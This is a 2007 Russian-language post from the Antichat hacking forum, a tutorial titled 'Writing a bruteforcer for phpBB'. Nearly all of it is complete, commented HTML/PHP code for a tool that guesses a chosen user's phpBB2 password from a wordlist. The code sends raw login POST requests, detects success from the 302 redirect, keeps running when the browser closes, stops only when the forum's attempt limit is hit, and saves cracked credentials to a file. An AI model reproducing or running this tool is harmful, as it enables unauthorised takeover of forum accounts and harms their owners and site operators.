ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Пишем брутофорс для phpBB
  #1  
Старый 28.02.2007, 11:58
Аватар для GreenBear
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию Пишем брутофорс для phpBB

В phpBB2 есть возможность брута с минимум трафика, т.к в случае удачной аунтификации сервер посылает нам не стандартый 200-тый
Код:
200 OK
ответ, что запрос обработан и успешно выполнен, а строку с кодом 302. Благодоря этому нам не нужно брать всю страницу, чтобы узнать завершился ли успешно наш перебор, а достаточно первой строки ответа
Код:
302 Found
Создадим сначала интерфейс нашего брута.
Код HTML:
<html><head>
<title>Брутофорс для phpBB2 от Green Bear (http://netsec.ru && http://antichat.ru)</title>
<style type="text/css">
body{background-color: #323232;margin: 20px;}
.div{border-style: ridge;border-color: yellowgreen;border-width: 1px;background-color: #444;padding: 5px;color: whitesmoke;font-family: Verdana, Tahoma;font-size: 11px;}
input, select{border: none;background-color: #000;color: yellowgreen;}
h1{margin-top: 3;}
a{color: white;text-decoration: none;}
</style>
</head><body><div align="center"><div style="width:500px" class="div">
<h1><a href="" style="text-decoration: none;">Брутофорс phpBB2</a></h1>
<form method="post"  enctype="multipart/form-data">
Адрес: <input type="text" name="host"  /> / <input type="text" name="path" size="10"/>
Имя: <input type="text" name="login"  />
<input type="checkbox" name="w" value="w" title="Ждать 4 секунды перед новый попыткой?" /><br /><br />
Из файла: <input type="radio" OnClick="file.style.display=''; load.style.display='none';" name="l" />
Загрузить: <input type="radio" OnClick="load.style.display=''; file.style.display='none';" name="l" checked />
<input type="file" name="pass" id="load"  style="border:none" />
<input type="text" name="file" id="file" value="./" style="display:none" />
<br /><br />Язык форума: <select name="lang"><option value="ru">Русский</option><option value="en">Буржуйский</option></select> <input type="submit" value="Начать подбор" name="start" onClick="hide.style.display=''" /></form>
Сам код. Я постарался подробно все закоментировать, чтобы не было проблем у плохознающих пхп.
PHP код:
<?php
error_reporting
(E_ALL E_NOTICE);
//Если вы закроете браузер, то брут продолжется.
ignore_user_abort(1);
//Если не удалось сменить имя, то остановим скрипт, т.к дальше продолжать бессмысленно.
if( !set_time_limit(0)) die('Не удалось сменить лимит времени исполнения скрипта');
if(
$_POST['start']){
//Если выбраны пароли из файла, то проверим его на существование.
if($_POST['file']){
    if(! 
file_exists($_POST['file']) ) die("<script>alert('Такого файла на сервере нет.');</script>");
    
$passwords file($_POST['file']);
}else{
//Если файл загружаем, то в случае неудачной загрузки сообщим.
    
if (is_uploaded_file($_FILES['pass']['tmp_name'])) $passwords file($_FILES['pass']['tmp_name']);
    else die(
"<script>alert('Ошибка при загрузке файла');</script>");
}
//Проверим на существования необходимые переменные
$_POST['login'] ? $login $_POST['login'] : die("<script>alert('Не задан логин');</script>");
$_POST['host'] ? $host $_POST['host'] : die("<script>alert('Не задан хост');</script>");
$_POST['path'] ? $path '/'.$_POST['path'].'/' $path '/';
$_POST['w'] ? $w true $w false;
$str ''$b 0;
    
//Язык нужен для того, чтобы прекратить брут, если на форуме стоит ограничение на кол-во попыток.
    //Далее после 5 попытки идет поиск этой фразы на странице, если он найдена - брут останавливается.
    
switch($_POST['lang']){
        case 
ru$anti 'Максимальное количество попыток'; break;
        case 
en$anti 'not allowed to login'; break;
    }
    
//Идем в цикл равный кол-ву срок в файле  с паролями.
    
for($i=0;$i<count($passwords);$i++){
        
$w sleep(4) : '';
        
$pass trim($passwords[$i]);
        
//Подключимся и проверим на доступность форум...
        
$fp fsockopen ($host80$errno$errstr7);   
        
//Если хост не найден, то выйдем из скрипта.
        
if (!$fp) die("<script>alert('Не могу найти такой форум');</script>");
        
//Наш пост запрос..
        
$r  "POST ".$path."login.php HTTP/1.1
Host: 
$host
Content-Type: application/x-www-form-urlencoded
Content-Length: "
.strlen("username=".$login."&password=".$pass."&login=Log+in")."

username="
.$login."&password=".$pass."&login=Log+in";
            
fputs ($fp$r);
            
//Теперь посмотрим...
            //Если попытка не 5, то перем только первую строку.
            
if($b != 5$str fgets($fp128);
            
//Если он 5, то скачиваем всю страницу для поиска в ней ключевой фразы
            //И в случае ее успешного поиска останавлиаем скрипт.
            
else{
                while(!
feof($fp)){
                    
$str .= fgets($fp128);
                }
                if(
eregi($anti$str)){
                    die(
'Не могу продолжить дальнейший подбор паролей, т.к исчерпаны все попытки входа <br />');
                }
            }
               
//Теперь смотрим на ответ сервера...
               //
            
if( eregi('302 Found'$str) ){
                    
//запишем все в файл password
                    
$p fopen('password''a');
                    
fwrite($p"Логин: ".$login."\nПароль :".$pass."\nАдрес : ".$host."\n\n--------------\n\n");
                    
fclose($p);
                    
$find true;
                    break;
                }
            
$str '';
        
fclose ($fp);
        
$b++;
    }
if( 
$find ) echo '<script> hide.style.display=\'none\'></script>Пароль: <b>'$pass.'</b><br /><br />';
else echo 
'<script> hide.style.display=\'none\'></script><i>Не удалось найти пароль</i><br /><br />';
}
?>
Код HTML:
<div style="display:none" id="hide"><img src="http://gb.netsec.ru/process.gif" /><br /></div>
&copy; <a href="http://gb.netsec.ru/">Green Bear</a></div> </div></body></html>
Статус 302 Found означает, что запрашиваемый ресурс находится по другому адресу.

Вот в общем-то и все, как видим ничего сложного нету.

Полезные ссылки:
Протокол HTTP
php.net
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Создание сети: обжимка проводов petrovich-lamer Windows 13 02.07.2007 13:18
Начинающим хэкерам. MC_Brute Чужие Статьи 20 16.03.2007 05:53
Программы для работы с железом. Часть I – настройка видеокарт _GaLs_ Аппаратное обеспечение 2 20.12.2006 01:18
Перепрошивка Bios видеокарт ~Fenix~ Чужие Статьи 4 05.03.2006 23:08
Пишем свой BIOS для x86 компьютеров OverClocker Схемы и программы 1 06.03.2005 11:21



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ